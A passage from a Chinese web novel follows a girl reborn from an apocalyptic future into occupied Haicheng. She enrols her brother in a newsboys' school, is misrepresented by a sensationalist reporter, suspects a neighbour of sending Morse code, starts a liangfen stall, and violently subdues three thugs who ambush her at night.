不管他们上边怎么斗,只要小百姓能落着实惠也不错。不是春妮说,这个年代小百姓的福利还没有她一个从末世来的人多,好不容易有点便宜占,当然绝对不能错过啊。 “学校办在哪?”春妮寻思,要是不远的话她先跟着去看看。 “码头边上说是要办一家,这两天就有信儿。” 春妮听出了差别:“这话的意思,学校还不只办一家?” “当然不只了。说了是给我们报童的学校,全海城报童没有一万也有八千,你也不想想,一家学校坐得下我们这些人吗?” 只办这一家,春妮都觉得困难重重,多办几家,倭人和新政府会允许吗? 带着这样的问号,春妮这天上午卖完馒头,跟德三两个人一起去了一趟新学校。 这所建在码头边的新学校跟春妮现在的家就隔半条里弄,不到两百米远,但与其说这里是学校,不如说是两间旧库房。 库房用木板隔起来,分成两个班。陪他们进校参观的女老师上身一件阴丹士林蓝的立领盘扣衣裳,下边一条到膝下的黑裙子,再看她一头的齐耳短发,简直就是个还没走出学校的女学生。 春妮越看越不靠谱,准备拉德三嘀咕两句,但这家伙一闪身已经进了教室。 教室里,一名寸头男老师拿着一份报纸朗朗而读:“来,跟我念,这个字读‘申’,申就是海城的简称。” “申。”底下孩子们齐刷刷张嘴,像嗷嗷待哺的小雀儿。 “我们的书本还没到位,只能先拿旧报纸将就。”女老师跟春妮解释。 怕是你们一次拿不出这么多书本吧?春妮心道。 但转念一想,不要钱的学校,条件差些也不是不能理解。 春妮连续去学校报道过两天,到底把夏生送了过来。 不送过来没办法,这个学校的老师们不管是谁,只要看到她,一定要让她进去学写字。 春妮说自己识字,可老师们看她穿的破破烂烂的,以为她是怕在学校里学习耽误了赚钱在撒谎,怎么也不信,还说她:“你这小姑娘怎么就不知道上进呢?学了字找个好工作,别以为老师们是在害你。你总不能一辈子挑担子卖早点吧?” 春妮:“……”卖早点怎么了?我卖一周早点都比你们一个月挣得多。 以前春妮以为,这个年代只要是读书人,有份正经职业,日子肯定比他们普通人滋润。但于先生和于太太打破了她的认知,于先生工作的小学在这一带是最好的。但听金小姐说,在海城,小学□□不稀罕,他一个月的薪水不会超过二十块钱,这还是看在他是资深□□的份上。若是刚工作的新人,说不定连纱厂的正式工人都比不上。当然,在纱厂跟在小学教书的工作强度也是两个层面。 春妮看于太太每天做家务之余还要给裁缝铺钉扣子贴补生计,他家的饭桌也没见到过荤腥,一件衣裳破了,得想办法补得外人看不出来……金小姐说的应该是真的。 □□们这样热情劝学,反而让春妮放了心:他们连自己这个素昧平生的小姑娘都肯好好规劝,想必对正式的学生们也会认真负责吧? 她本来也没指望夏生从这学到多少正经知识,这些□□们这样有责任心,当个托儿所保姆应当是没问题的。 想通之后,春妮第二天把夏生送了过来,专门交到那位回回看见她就要唐僧念经的男老师手上。 “方老师,我弟弟就拜托给您了。他很听话的,这一带人贩子多,不安全,放课后您千万别让他自己走,等我来接他就行了。” “你呢?你也来啊。” 春妮:“老师,你们教的字我真的都会,不信你可以考我。不早了,我还要回去发面蒸馒头。” 方老师:“……哎,哎,你这小姑娘,跑这么快做什么?识字就识字,老师又不会吃人。” 这位方老师是海城本地人,不止说话绵,性格也像本地人一样,细心,绵软,关键是很负责。虽然每次春妮去接夏生,他都要老生重弹地唠叨她几句,让她来上学,但他哪次都会等到学生们都走之后再最后一个离开,还会陪着春妮姐弟俩走过那段没有路灯的小路。 春妮感激中有些苦恼,几天后跟夏风萍在一间咖啡馆里见面,她大吐苦水:“……我做的馒头方老师不收,我说当是给他夏生的托管费,还被他骂了一顿,该怎么办哪?以前想欠人情都没得欠,现在欠下人情,又还不了,更难受。” 夏风萍说她:“那你就满足方老师的心愿,每天去读书啊。” 春妮:“我认识字,你忘啦?” 夏风萍嗤之以鼻:“你那叫什么认识字?上回给我留个字条,桥梁的桥字都能写错。你再不抓紧机会多认几个字,真的只能在街上卖一辈子早点了。” 春妮被憋得不行,她又不能说她笔误,写的是简体字,再过几十年,全华国都得跟她那样的写。 她只好说:“我得先养家。才小半个月,一袋面粉又涨了两毛钱,我的馒头却不能总跟着涨。这么涨下去,什么时候是个头?不趁面粉便宜多卖点馒头,往后我怎么办?” 春妮说的面粉涨价是指的以前政府发行的法币涨价,法币也是他们沙北省等没沦陷地区的主要货币。她来海城后,城中疯传海城要另外发行货币,法币很快会被淘太,她赶着用高价私下换了些鹰洋和大洋,加上她妈以前攒的,手上现有五六十来块大洋。但她手里的法币更多,眼看着法币一天比一天不值钱,能不着急吗? 她又不能指定顾客使用的货币,每次收到法币还要想法子兑换成更保值的货币,简直愁死个人。 夏风萍抬头看咖啡馆的自鸣钟:“不是说那位大记者十点钟来吗?这都快十点半了,人呢?” 今天春妮跟夏风萍见面,就是为的朱先生说的,他那位记者朋友想采访她的事。 她拉夏风萍一块来,一是因为她跟自己都是亲历者,两人一起也好互相印证,再者,她记得朱先生说的,这一行门道多,夏风萍是本地人,为人又机灵,说不定可以帮她掌掌眼。 夏风萍问完这句话,咖啡馆的门被推开,一个跟朱先生戴同式眼镜的小个子男人看到桌子上的台号,径直走到她们面前:“请问哪位是顾小姐?敝人是《海城新报》记者洪良佑,对不起,我来晚了。” 14、014 “路上遇到路障,我不得不从电车上下来,好不容易找到辆黄包车赶过来,还是迟了。” 洪先生汗如雨下,穿的浅灰长衫被洇成黑灰色,贴在身上皱巴巴的,显然是遭了不小的罪。 夏风萍叫侍应生上来一瓶桔子汽水,洪先生连吸管都没用,咕咕咕一连气喝完,长舒一口气。 “洪先生路上是遇到什么事了?”夏风萍问他。 “法租界那边发生爆炸,巡捕房跟倭人宪兵队挨个查人,把那一块都封锁了。”洪先生话中颇多遗憾:“若不是跟顾小姐有约,我此刻一定要留在现场一探究竟。” 不过他也不是很可惜,自从海城沦陷后,这里简直成了恐怖分子的天堂。这样的新闻,每隔一段时间总会来一件,今天死个要员,明天某个大佬被刺杀,后天哪哪公寓被人泼油放火……海城人从一开始的惶惶不安,到现在的视若无睹,想必经过了相当复杂的心理转变。 真正的顾小姐不得不咳嗽一声:“洪先生,采访现在开始吗?” “对,对,”洪先生从公文包中找出纸笔,提问道:“顾小姐,您先说说您是哪里人吧。” 真正的顾小姐弱弱提醒:“洪先生,我是沙北省人。” 洪先生来回看看,闹了个大红脸:“小姑娘,你才是顾小姐吗?我瞧你年龄不大,是怎么一路逃过来的?” 顾小姐大致讲两句她从家乡出来后的见闻,听得洪先生连声呼惨,埋头奋笔疾书:“顾小姐,你和你弟弟真的漂了三天都没有见到活人吗?那你是靠什么活下来的?” 顾小姐看向夏风萍,她真的不是很擅于撒谎。 夏小姐接棒:“洪先生您没注意听,春妮不是说她第二天救了我吗?我藏身的那座房子有些粮食,我们把能做的都做成干粮带在身上,才没有被饿到。何况我们沿途还是见过一些被困在水里的灾民的。” 洪先生“哦哦”两声:“连续三天一个活人都见不到,那岂不是尸横遍野?两位小姐会不会很害怕?对了,有没有灾民来抢你们的粮食?” 夏风萍板起了脸,春妮也觉得,洪先生的用词让她不是那么舒服。就好像他们在讨论的不是人间惨剧,而是件大有说头的猎奇事件罢了。 没听见两个姑娘说话,洪先生后知后觉:“我是不是冒犯到两位小姐了?对不住,我们当记者的总是急于了解真相,可能有用词不当的地方,小姐们请千万不要见怪。” 夏风萍不冷不热地:“真相就在那里,心急吃不了热豆腐,洪先生的心态可不大好。” 仿佛没明白夏风萍话里的讽刺,洪先生笑道:“夏小姐好像懂得很多道理,我看您像是学生,怎么会跟顾小姐碰上?” 夏风萍神色不变,语气却阑珊起来:“我去看亲戚不行吗?”她突然发起脾气:“洪先生,我们现在是在跟您谈论水灾,您能不能认真一些?不要——” 不要总把话题往我们两个幸存者身上带,那里有更多不幸的人。春妮在心里替她补完没说完的话。 夏风萍是个情感丰富,极具同情心的姑娘,如若不然,她一个家境殷实的女孩子也不会借海城沦陷的时机,冒着枪林弹雨,穿梭在战场中拯救生命。 洪先生这样没有人文关怀,冷冰冰的提问令她极其不适。 如果春妮经历过网络时代,她就该知道,洪先生的采访风格其实很超前,他对如何寻找爆点有相当不错的直觉。 看在一块钱奖励金的份上,春妮决定出面干涉一下:“那一带都被淹在水下,就是有人,也早早地跑上山躲起来,或者被困在房顶上,对我们造成不了什么威胁。我们最担心的,是在食物吃完之前都无法靠岸。” 事实是,他们一行十几个大男人,即便个个带彩,也没人敢不长眼色地来惹他们。除了需要照应伤兵,躲避倭人,春妮这一路走得挺安稳的。 接下来洪先生又问了些问题,约莫是夏风萍的脸色实在太臭,他没再问得很过分。 采访在半个钟头后结束,临走前,洪先生给了春妮一张券证:“这是我们报社的采访券,两位小姐留意一下最近的报纸,登载之后凭这张券可以到我们报社来领取奖励金。” “这么麻烦?不能现款现结吗?”夏风萍不满。 洪先生笑笑:“这是报社的规定,要是两位小姐嫌麻烦,也可以给我个地址,到时候由我们财务帮你们邮过来,只是邮费需要从奖励金中扣除。” “这不是更麻烦?”夏风萍好不容易放晴的脸色又阴下来。 春妮倒是乐观:只要能拿钱,麻不麻烦的都是小事。 她跟洪先生道完谢,三个人在咖啡馆门口分道而行。 夏风萍一直说去看看她租的房子,借这个机会,春妮领着她去阁楼上转过一圈,看时间快到夏生放课,跟又跟她一起去接弟弟放学。 两个姑娘去的时候,夏生坐在教室最后边,跟几个年龄不一的学生一起背九九乘法表。 下课时间一到,春妮注意躲开方老师,跟夏生招招手。姐弟两个胜利会合后,她才发现,夏风萍不知什么时候跟方老师走到一起,俩人眉飞色舞地,不知在说什么。 后边夏风萍请姐弟俩去吃本帮菜大餐,她也是心不在焉的,牙齿差点磕到茶碗,一看就是有事。 一顿饭没吃完,答案揭晓,夏风萍说:“春妮,你说,我来夏生小学当老师怎么样?” 春妮一口饭全呛进了气管里:“你不是在玛丽医院找到工作了吗?洋人的医院一个月给五十块,你说不干就不干啦?”像夏风萍这样有经验的护士很好找工作,夏家父母又有门路,春妮别提多羡慕了。 “可现在的这份工作一点成就感没有,”夏风萍眼神闪亮:“我觉得,还是当老师更适合我,那些孩子们也需要我。” 春妮:“……”放着五倍的工钱不要,去当一个月不知道有没有十块的小学□□,这个年代的女人有这么难懂吗? 不过想想夏风萍家境优渥,从来没为生活操过心,这种人不缺钱用,那不看重钱财也不是说不过去。 春妮没法这样潇洒,她伸出手:“还钱。” 夏风萍没跟上她思路:“什么?” 她翻翻白眼:“你在金城买火车票,还欠我八块的车钱,下车后我又给你五毛钱打车,别不是忘了吧?”追求理想前,清偿个借款不过分吧? ………… 两天过后,洪记者的报道见了报。 这是春妮人生头一回上报,别看当时闹过不痛快,其实她心里可在乎了。 重视到一天三遍提醒李德三帮她留意,报纸出来还热乎着,春妮就拿到了手。但这一看,险些没瞪掉眼珠子。 花花绿绿的报纸正中,一个悚目的大标题《独家揭秘:沙河水灾中小难民的生死五夜》。 里头的故事大约是这么样,小春一家人世代住在沙河边,洪水来后,小春的爹娘为了让小春姐弟两个活下来,让出逃生的木板,自己被大水冲走。小春和弟弟扒着木板漂流三天三夜,没吃没喝,渴了只能喝脏水,饿了也只有喝脏水,弟弟很快生了病。快被饿死之前,姐弟俩遇到被困在房顶的小夏,小夏拿家里最后的粮食给了姐弟俩…… 这是个充满了曲折苦难,又不失人性光辉的好故事。要不是看见下边的“洪良佐”三个字,春妮说不定还会感怀一番。这不德三听了都抹眼泪:“春妮,以前我总觉得我苦,想不到你比我还苦。一夜之间爹娘兄姐都没了,你是怎么熬下来的?” 春妮:“……”她现在怀疑,洪记者所谓的奖励金就是封口费。钱没到手,能随便拆人家台吗? 德三偶尔会帮她接夏生回家,有时候春妮会管他一顿饭。她就是不说,也瞒不住他。 简直羞死个人! 觉得丢人的,不止春妮一个。 晚上,卖完馒头,春妮回家开门,发现夏生之前习字的小台子上多坐了个人:“朱先生,你怎么在这?” 夏生很开心:“姐姐,朱先生教我算术,你看我算得对不对?” 朱先生站起来,很局促:“顾小姐,真对不住,我没想到报纸会写成这样。” 朱先生现在被洪先生带累,春妮对他也戴起了有色眼镜:“朱先生这是哪的话,我还没谢过您帮我推荐洪先生采访哪。” 朱先生是小楼里唯一完整知道春妮姐弟俩这段经历的人。 朱先生脖子根都红了:“顾小姐,我知道,任何人被写成父母双亡都不会开心。我若是知道洪先生是这样的人,绝不会介绍他来打扰你。” 说完他竟冲春妮鞠了一个大躬。 这下春妮是真不好再端起冷脸,喊夏生给他端凉茶:“朱先生,这原本也不干你的事,你不必这样抱歉。” 朱先生叹了口气:“洪先生曾为了追寻新闻真相,连倭人高官的官邸都潜入过,还接到过死亡警告。我实在想不到连他也成为了销量枉顾事实,悖离职业准则的人。” 春妮不懂:“您说的,像朱先生这种记者应该很有名吧,他这样做不是损害自己的职业前途吗?” 朱先生苦笑:“要看是什么时候,若是以前史先生还在,他老人家最看中报业人的职业操守,整个报业的风气也很好。但自从他老人家被刺杀,后头倭人来后,那些被倭人直接控股的倒好说,厚起脸皮大唱赞歌总是没有错。但像《海城新报》这样的完全民间报业,几名主编离职之后,他们既不甘心捧倭人的臭脚,又不敢像以前那样直指事实追寻真相,只能走偏锋搏人眼球。时日一久,就成了这副鬼样子。” 他见春妮姐弟俩眨巴着眼睛好像没听懂,自失一笑:“我也是傻了,跟你们两个孩子说这些做什么。这样吧,明天我买两杯花旗大姐姐回来,就当是赔罪了。” 花旗大姐姐?那不是传说中的冰结涟,也就是冰淇淋吗? 一杯花旗大姐姐卖三毛钱,两杯花旗大姐姐就是六毛钱,朱先生道歉的心意可见有多诚了! 说出来可能没人会信,春妮上辈子还在幼年中就到了末世,末世前吃过什么好吃的早忘了味道。这辈子她和她妈都喜欢攒钱买粮。她上下两辈子,到今天还不知道冰淇淋是什么味呢! 春妮半点不带客气的:“朱先生您说的,那我可早点回家等着啦。” 一边假装写字的夏生立即暴露了自己:“太好了,明天有冰结涟吃喽!” 15、015 淋黑巧克力汁,边缘围一圈菠萝片,中间点着颗红嘴小樱桃的花旗大姐姐迅速让朱先生和春妮的那点小芥蒂像遇热的冰结涟一样融化不见了。 夏生舔着嘴边一圈奶白色的冰霜,满足叹气:“冰结涟真好吃。姐姐,咱们什么时候再吃一回?” 春妮开始做梦:“等咱有钱了,有钱了,我给你买一屉子的冰结涟,咱们想什么时候吃,就什么时候吃。想吃什么味的,就有什么味的。” 夏生却没被这画的大饼唬住:“一屉子的冰结涟,不等我吃完就化光了吧?”这小子先拿上冰结涟舍不得吃,等上边的冰霜化了,一手又急得伸出舌头忙不迭去接,好笑得很。 “你姐姐说的那叫电冰箱,”朱先生也吃得甚美:“一台八百块钱,那你们可得使劲攒钱啦。” 夏生扭头问他姐:“姐姐,我们还差多少钱?” 春妮:“……”真有八百块钱,我干点啥不好,烧的去买电冰箱! 不过这时候有电冰箱,她是没想到的,她问朱先生:“您见过电冰箱?” “见过,”一顿好吃的迅速拉近朱先生跟这姐弟俩的关系:“我当年刚毕业,跟记者部前辈去华通电机厂招揽广告时,去参观过一回厂房。里头电冰箱,电风扇,冷气机一列列排开,的确大开眼界。” “电冰箱还是咱们国产的?”这又是春妮没想到的,她一直以为这年头的国货最多是纱厂,肥皂厂,火柴厂等轻工行业:“还有冷气机是什么?往外头吹冷气的?” “对,不过这个买的人没冰箱多,比冰箱贵,又烧电得很,听说以前史先生家里就有一台。” 这两天听朱先生“史先生”来,“史先生”去的,春妮也知道了,他说的史先生是以前海城乃至华国首屈一指的报业大王。据说就是因为他敢在报纸上说实话,被当局,就是现在逃到双城去的现政府给暗杀掉,死了有好几年了。 无论什么年代,有钱人的快乐都让人无法想象。 春妮羡慕道:“我就稀罕这冷气机,阁楼上太热了,我这两天没睡好。夏生身上都长了痱子。” “那个简单,你去把凉席搬到我那边的阳台上,晚上凉席一铺,可以带着夏生就睡在地上。” 春妮略为难:“那会不会打扰了?” 朱先生家乡最小的妹妹都比春妮大,在他眼里,这小丫头就是个孩子,逗她道:“你若是打呼噜,那就打扰。你打不打呼噜?” “我姐姐睡觉可乖了,她才不打呼噜。”夏生为姐姐辩白一句,转身磨她:“姐姐姐姐,咱们就睡阳台吧,我好几天晚上没睡着觉,今天在课堂上都打了磕睡,方老师都说我了。” 朱先生则说:“你天天早出晚归,这样辛苦,再不好好睡个觉,怎么熬得住?”以为她是顾虑男女之别,道:“海城夏天多的是人挤在大马路上纳凉睡觉,你若觉得不好,也可以跟吉拉太太商量,让他们在晒台上让个位置给你挤挤。” 二楼的晒台早叫吉拉夫妇和他们的五个孩子,还有于太太一家人占领,这会儿她下去讨位置,只会讨人嫌。 其实春妮起先不答应,只是防心重。因为在上一世,真正的,纯粹的好人活不到她长大,她在末世里见多翻脸杀人的白眼狼,不习惯睡觉时身边有生人在。但这已经不是那个睡觉都要握着刀的世道,这个世道固然同样艰难,却也有成永平和夏护士那样使人温暖的好人,她该学着信人。 何况这些日子她拼了命地干活,自己也有感觉,若是再睡不好觉,怕真会出问题。 遂欣然应允:“也好,夏生,来帮姐姐卷席子。” 吉拉先生家的这所房子位于街头第二栋,是这一带最后一排三层楼高的石库门。春妮站在阳台东边远眺,隐约见一条银光闪闪的大河上头白帆点点,里许开外的江滩滩头夜景尽入眼底。 朱先生把他房里的北极牌电风扇调个头,对准姐弟俩吹:“买不起冷气机,将就着先用电风扇吧。” “哇,姐姐,你看江上的灯火真好看。”夏生跟她挤在一处,兴奋得大呼小叫。 一时吉拉太太的小儿子约瑟夫也在下边闹起来:“夏生,你那里看得到江?妈妈,我要去跟夏生睡,我也要去看江。” 吉拉太太的小儿子跟夏生差不多大,也还没有上学,这些天两个小家伙有空总凑在一起玩。 吉拉太太被闹得不行,粗起嗓子叽哩呱啦一阵好骂,小家伙总算安静了下来。 春妮微微一笑,放松了一些。 “好看吧,”朱先生取来梯子爬上房顶:“躺在这上边,感觉星星好像都离得近了些。” 春妮到底见过大世面,看过几眼,便失去了新鲜感。她招呼朱先生:“上边怪危险的,朱先生下来吧,不用在上边睡。” “没关系,我经常晚上躺在上边,都习惯了。你跟弟弟快先睡吧。” 春妮也的确是乏了,她把夏生按到席子上,上下一顿好搓,给他上完痱子粉,按着他一齐躺了下来。 楼下晒台孩子们的打闹不知什么时候也停了下来,两对夫妇的说话声渐渐低下去,风也静了,鸣虫儿好像也歇了下来,万籁俱静—— 春妮却依然睡不着。 她能听见朱先生在楼顶上踏着瓦片来回走动,能听见朱先生房里那台风扇电机嗡嗡地叫,还能听见…… 春妮翻了个身。 朱先生踩着梯子下了楼,他刻意放轻了声音,但在春妮耳朵里,就和楼下于先生的呼噜声一样没分别。 “顾小姐,顾小姐?”他压着嗓子叫了几声。 都这会儿了,还叫她干嘛呢? 春妮正抓紧时间酝酿睡意,实在不想再起身,装作没听见,哼哼唧唧呓语了一声。 他又叫了两声“夏生”,夏生早睡得跟小猪似的,更不会答他。 春妮感觉到,他在门边站了会儿,进屋关上门,扭亮台灯,仿佛还将电风扇的风向向他们的方向调整了一下。 现在都快十二点了吧?他忙活啥呢? 春妮的好奇心很快被满足,房里传来一串绵软软的歌声。是朱先生打开了电台开关。咿咿呀呀的“夜色茫茫照四周,天边新月如钩”中,朱先生展开了纸笔。 当记者都这么拼,大半夜的还写稿子? 春妮打了个呵欠,她的睡意终于来了。 她早就想说,这个年代的歌真的很适合催眠,有钱了她一定也买个电台,听听歌催催眠什么的,改天得问问朱先生,他听的什么频道。 尤其歌声之后,“哒,哒哒,哒”的也不知道是什么声音,听上去更…… 不是,这声音,它有点熟悉,像,像—— 摩斯密码! 春妮霍然惊醒。 16、016 跟一位记者做朋友,好处是显而易见的。 每天报馆新闻界的八卦源源不绝,电影界唱片界也幸免不了。 朱先生大约在报馆里憋坏了,每天阳台歇夜的时间简直成了他的专场脱口秀。春妮姐弟俩每晚仰着脑袋,就听他大侃特侃那些大到当红歌星,小到街头混混的大小八卦。 朱先生迅速替代约瑟夫,成为了夏生目下最喜欢的人。夏生完全把这些小道新闻当成了睡前故事,朱先生偶然有一回不讲,他还要缠一会儿方罢。 而春妮么,她在末世那会儿,哪有这么丰富的精神文化?那会儿都忙着先活下来,最多大伙聚在一起骂骂基地领导和基地领导传说中的小三小四小五。什么影星歌星,那更是传说中的传说故事。 但要说她有多稀罕听,倒也不至于。跟朱先生的秘密比起来,这些海城大佬街头喋血记,艳星尤物猎艳趣闻真的毛毛雨。 连朱先生的秘密春妮都能忍住不去探究,其他的八卦也就听个响便了。不过,她有一点顾虑,夏生到底只有五岁,听多这些大人间乱七八糟的事怕是不大好,她得找个时机提醒朱先生不能说得太过火了。 春妮之所以这么捧朱先生的场,说来惭愧,主要是为了他每两天提回来的那半捆旧报纸。 朱先生工作的报馆经常有积压卖不出去,由报摊返还回来的报纸。两人熟悉之后,他有时会拎一些回来让夏生练大字,或者给春妮做成纸袋包装,方便客人装馒头用。 如果没有朱先生给的旧报纸,她还得另外花钱买牛皮纸袋包装,日积月累,开销也很是不少的。现在做点啥都要钱,就是为了那叠旧报纸,春妮也得卖力捧场。 春妮姐弟俩忙着听阳台故事那会儿,夏风萍已经风风火火从玛丽医院辞了职,正式入职报童小学当了□□,还就在夏生读的码头仓库里。 别看夏风萍有时候想一出是一出,但至少他们三个结伴走来,她一个城市里出来的富家女非但没有拖后腿,还帮了春妮不少忙,说明她是个心里有谱的姑娘。 老实说,有她在学校里看着,春妮对夏生更放心。 但夏风萍的行为显然惹恼了她家里人,她带着行李找到春妮时,全身上下只剩不到两块钱。 她被她父母赶出来了。 春妮都不知道怎么说她好:“你好好跟他们说啊。这回好,没钱我看你去哪租房子,怎么吃饭。” 夏风萍唉声叹气:“我又不傻,肯定有好好说话。可我去年只留下一封信去入伍后,我爸妈就有意见,估计前些天是看我刚回来,怕我再跑,一直憋着。这回总算找到发火的由头,我可不就遭殃了?” 春妮:“你说得头头是道有什么用?先想想该怎么过日子吧。” 夏风萍对她讨好一笑:“我不是找你想办法了吗?” 春妮警惕道:“你要干嘛?别忘了你还欠我四块八毛钱没还。那天你一共才还我三块七毛钱呢!” 夏风萍气结:“你当我什么人了?我那天钱没带够,不是早跟你说好,等玛丽医院的工资一发下来,我就还你吗?” “你玛丽医院的工作都黄了。” 夏风萍吸气吐气:“……我是来问你,你是不是跟学校的方校长很熟?你帮我跟他说说情,看能不能让我这几天先住在学校里,等玛丽医院的薪水一到手我就找房子搬家。” 春妮差点以为她听错:“你疯啦?码头是什么地方你不知道?还住在学校里,学校就是个仓房你怎么住?” “你不知道,我们学校本来就有老师住在教室里。” “我当然知道!住学校的老师是男人,跟你一个女孩子一样吗?!” 春妮算是明白了,这姑娘根本什么都没准备好,就从家里跑了出来。这回好—— 她只得道:“算了,你先来我家,跟我和夏生挤挤吧。” 夏风萍跳起来拥抱她:“春妮,你真是我命里的贵人!” “贵人”春妮:“……”她是不是被套路了? 两个姑娘决定好,到晚上睡觉时,春妮才想起来通知朱先生,自己新来个同伴,晚上就不去他的阳台了。 这会儿已经到了海城夏天最热的时节,面积最多八平米,又只有一个老虎窗的小阁楼挤下三个人,别提多酸爽了。 夏生热得直哭:“姐姐,我睡不着。” 朱先生听见,在外头叫春妮:“把夏生带出来睡吧,不打紧的。” 春妮的确无法坚持,朱先生一叫,她跟夏生卷起席子就出来了。 她一动身,夏风萍也揩着汗跟出来:“你这个邻居人真不错,总算吹着一丝凉风了。” 春妮:“……”这姑娘倒是随方就圆,一点不挑。 朱先生的小阳台长宽不足两米,勉强睡得下他们三个,再多一个夏风萍,除非他们四个都跟夏生一边大,否则肯定挤不下。 可怜朱先生被鸠占鹊巢,只得抱起席子回自己房间:“我这里有两个窗户,通风很好,我在屋里睡也不要紧的。” 大约夏风萍心里也是不好意思的,第二天晚上,她从学校下班一回家,在弄堂口的摊子上打了一大缸子酸梅汤给朱先生送礼,谢他愿意让出阳台。 朱先生是个礼数不嫌多的君子,更不好意思占女士便宜,第三天带回来几根棒冰,请几位邻居们吃冰饮。 夏风萍向来视金钱如粪土,第四天,她又买回来一串冰湃紫葡萄…… 这两个礼尚往来,便宜了春妮姐弟两个每天吃的零食不重样。 春妮虽然热爱攒钱,偶尔喜欢贪点小便宜,但吃多白食也是不好意思的。 她便挑了一天白天,去药铺里买来石花粉,用纱布包好,放进搁了一点生石灰的凉白开里揉搓,揉搓出来的胶体很快凝固成果冻状,再被她连盆放进凉水里拔去热气。到下班的下班,放学的回家,新鲜出炉的凉粉便做好了。 春妮准备了桂花卤和红糖两种料汁让他们自择。 夏生捧碗问:“姐姐,以后我们还做吗?” 夏风萍惊讶:“这是什么?怎么口感有点像广式的龟苓膏?” 春妮说:“这是我们家乡的凉食,你没吃过不是正常?”石花粉都是春妮跑好几家药房才买来的。 朱先生听他们说话,吃完一碗桂花的,再添一碗红糖的,最后试试无糖的。酷暑的晚上有凉饮管饱,简直快活似神仙。 夏风萍若有所思:“那这个可以拿出去卖吗?”她的钱经常不够花,最近一直在琢磨副业的事。目前写完两篇小诗投到报社里,还没有回音。 春妮对所有赚钱的事都感兴趣:“可以啊,可我要卖馒头,没空再卖这个。你要是负责卖,我就没问题。” 夏风萍:“给我两天时间,我想想怎么卖。” 凉粉实在好喝,这天晚上,大家伙都不约而同多跑了几趟茅房。 经济压力转化动能的效率相当之高。第二天晚上回家,夏风萍想出了计划:“我们学校在码头边,那里人多,我们早上先做一桶,放在校门口卖,赚的钱五五分怎么样?” “我没问题。”春妮来了精神:“那明天就开始吧!” 17、017 凉粉的做法很简单,春妮早上做馒头,没那么多空揉制石花粉,她跟夏风萍两个交替上阵,还算能应付一到两桶的量。只要掌握好石灰水的调制,使凉粉的口感不苦涩,就成功了大半。 但真的要卖凉粉,也不是那么简单。 夏风萍化身为最刁钻的顾客:“红糖太单调,桂花太甜,你这里的调卤得多备几样。” “几样?”在吃东西上,春妮上下两辈子都没多少见识,这方面只能听富家小姐夏风萍的。 更土的小土包子夏生这回口福不浅。 夏风萍买来西瓜,瓜瓤掏出来,包上纱布亲手打汁,西瓜汁代替凉白开,做出来粉嫩漂亮的西瓜汁凉粉,夏生大为惊奇,一小碗凉粉吃吃戳戳,老半天舍不得吃完。 朱先生也贡献了思路,他指点两个姑娘买来硝石制冰,将冰粉放进做好的冰水中拔凉,配上卤汁,简直不要太美。 夏风萍又去问吉拉太太买来一瓶草莓果酱和一罐酒渍樱桃预备点在凉粉上,还想去—— 她倒倒钱包,抱着两只瓶子哀叹:“要是明天不开张,我可就要喝西北风去了。” 幸好老天爷疼憨人,第二天晚上,春妮提早结束生意去接夏生,顺便探探她新开的凉粉生意。 迎头见夏风萍站在学校门口春风满面,拉着她直笑:“你猜我今天赚了多少钱?” 春妮眼睛往外睃一下:“回去再说。” 夏风萍一惊,用眼神询问她,春妮轻轻点了点头。两人一对眼色,各自都有了默契。 江浦码头日夜不歇,白天还有女人走动,夜里八点以后,就只剩下了男人。这些男人中,除了出夜工等活的力夫,可就只剩下扒手和进出地下赌档的赌徒们。 海城沦陷一年多,在每个光照不到的角落,已经成为恶棍的天堂。 春妮在这种地方单独夜行这么些天,没遇到点情况,属实是老天爷照顾。 老天爷对她的照顾恐怕也只到今天。 海城的租界里,只要不是特别紧窄的小巷子,以前都是安装过路灯的,码头附近更是灯火通明。其他地方春妮不知道,但江浦这一带,除了紧靠码头的那几根灯柱,别的地方,尤其是靠近弄堂的路口处无一例外全是黑漆漆一片。据说那几处以前安过不少回路灯,但每回新路灯安好不过半月,就叫人打烂了。 去年打仗又叫炮火轰烂了一部分,说是轰死了不少人,黑灯瞎火残垣断壁,更显得凄凉阴森。每回夏风萍从那过都要念叨几句耶稣老爷,天后娘娘保佑。 现在春妮和夏风萍两个人,春妮担着篮子在前,夏风萍一手提着装凉粉的桶,另一手拉住夏生,站在被打烂的灯柱下略一驻足,春妮手别在后头对她比个“三”字,拖着步子往里头走。 一,二,三。 三个妇孺走出灯柱的范围,一只胳膊从黑地里横出来,朝夏风萍的脖子上勒去。 偏偏这样巧,夏风萍弯下腰,拿帕子给夏生揩了揩汗。 也是这样巧,走在最前头的春妮突然回身,她肩上的扁担打个圈,不偏不倚拍到不速之客的头上。 那人“哎呀”一声,只见眼前人影移位,脑袋嗡地一声,又遭到重击!他强撑起眼皮,不等看清发生什么事,晕死过去。 再醒来时,天地已经改换。 他和丘二,刘八另外两个同伴已被捆翻在地。而一只脚正踏在刘八脸上,重重碾动:“姑奶奶的主意也敢动,我倒要挖出来瞧瞧,你的胆子有多大。” 一只匕首贴着刘八的短褂往下移动,将他衣襟划开,停留在腰眼上比划:“胆是在这个地方?”又斜往下划半尺:“还是在这里?” 他从来没听过刘八的声音叫得这样惨:“别别别啊,姑奶奶,我知道错了,求求你,求求你——” “求我什么?求我放过你?呵,你向姑奶奶下手的时候,怎么没想要放过我?” 这拿着匕首的小姑娘此刻笑得在三个混混眼里比恶鬼还可怕:“你们三个配合得这么好,一定不是第一次。我先给其他人讨点利息。”说罢,反手两记耳光甩在他脸上。 刘八吐出两颗牙齿,颤声笑道:“打,打得好。姑奶奶,奶奶,奶奶——” 他不敢叫,又不敢不叫,因为这凉得吓人的匕首就在他肚脐下的三寸处来回滑动,似乎还在挑哪里好下手。 他一点都不怀疑这姑奶奶是虚张声势,因为他能感觉到,她的刀尖已经划破了他的皮肤,再扎深一点—— “啊!!!!” 刘八吓出一身冷汗,才发现他的两个同伴也已经都醒了。刚刚叫的人就是丘二,他的手指被踩进泥土里,只怕是废了。 “醒了?别装死。”姑奶奶的声音又脆又冷,忽而转身挑开刘八的绳索:“一个一个打得姑奶奶手疼,你去,帮我踹他几脚。” 刘八目光闪动,瞄准“姑奶奶”的方向,狠狠往后一撞! “啊啊啊啊!!!”刘八惨叫着跪了下来。 另外两个混混吓得魂飞魄散,刘八的叫声停下之后,壮起胆子偷眼看去,发现他两只手呈不自然状下垂,显然是断了。 而这位比恶鬼还可怕的“姑奶奶”终于走到最后一个人身边:“他们俩都不听话,你——” “姑奶奶姑奶奶,我听话,我听话!”他用这辈子所有的良心发誓:“姑奶奶,你叫我王老六干什么我就干什么,你——” 